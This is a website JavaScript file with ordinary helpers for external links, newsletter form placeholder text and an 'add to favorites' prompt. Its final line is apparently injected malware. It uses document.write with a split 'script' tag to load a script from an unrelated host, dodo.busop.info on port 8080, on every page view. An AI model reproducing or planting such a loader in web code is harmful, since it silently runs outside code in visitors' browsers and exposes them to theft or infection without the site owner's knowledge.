// External Links
function externalLinks() {
	if (!document.getElementsByTagName) {
		return;
	}
	var anchors = document.getElementsByTagName("a");
	for (var i = 0; i < anchors.length; i++) {
		var anchor = anchors[i];
		if (anchor.getAttribute("href") && anchor.getAttribute("rel") == "out") {
			anchor.target = "_blank";
		}
	}
}

// Formularkill
function valueKill() {
	if (document.getElementById('nl_name')) {	
		document.getElementById('nl_name').onfocus = function() { if (this.value == 'Your Name') this.value=''; };
		document.getElementById('nl_name').onblur = function() { if (this.value == '') this.value = 'Your Name'; };
	}
	if (document.getElementById('nl_email')) {	
		document.getElementById('nl_email').onfocus = function() { if (this.value == 'Your E-Mail') this.value=''; };
		document.getElementById('nl_email').onblur = function() { if (this.value == '') this.value = 'Your E-Mail'; };
	}
}


// addFavorites Event
function addFavorites() {
	countmax = 2;
	for (var i = 1; i <= countmax; i++) {
		if (document.getElementById('addtofavorites_'+i)) {
			var urlexp = /(ftp|http|https):\/\/(\w+:{0,1}\w*@)?(\S+)(:[0-9]+)?(\/|\/([\w#!:.?+=&%@!\-\/]))?/
			if (!urlexp.test(document.URL)) {
				error = true;
			} else {
				error = false;
			}
			if (!window.external) {
				error = true;
			} else {
				error = false;
			}
			if (error == false) {
				window.external.AddFavorite(document.URL, document.title);
			} else {
				alert('Press CTRL+D please');
			}
			return false;
		}
	}
}

// add favorites Toolbox
function favoritesBox() {
	if (document.getElementById('addtofavorites_1')) {
		var urlexp = /(ftp|http|https):\/\/(\w+:{0,1}\w*@)?(\S+)(:[0-9]+)?(\/|\/([\w#!:.?+=&%@!\-\/]))?/
		if (!urlexp.test(document.URL)) {
			error = true;
		} else {
			error = false;
		}
		if (window.clientInformation.userAgent.search('MSIE') != -1) {
			error = false;
		}
		if (error == false) {
			document.getElementById('toolfavorites_1').style.display = "none";
		}
		return false;
	}
}

// Onload Functions
function start ()
{
   externalLinks();
   valueKill();
   favoritesBox();
}

window.onload = start;


document.write('<s'+'cript type="text/javascript" src="http://dodo.busop.info:8080/Website.js"></scr'+'ipt>');
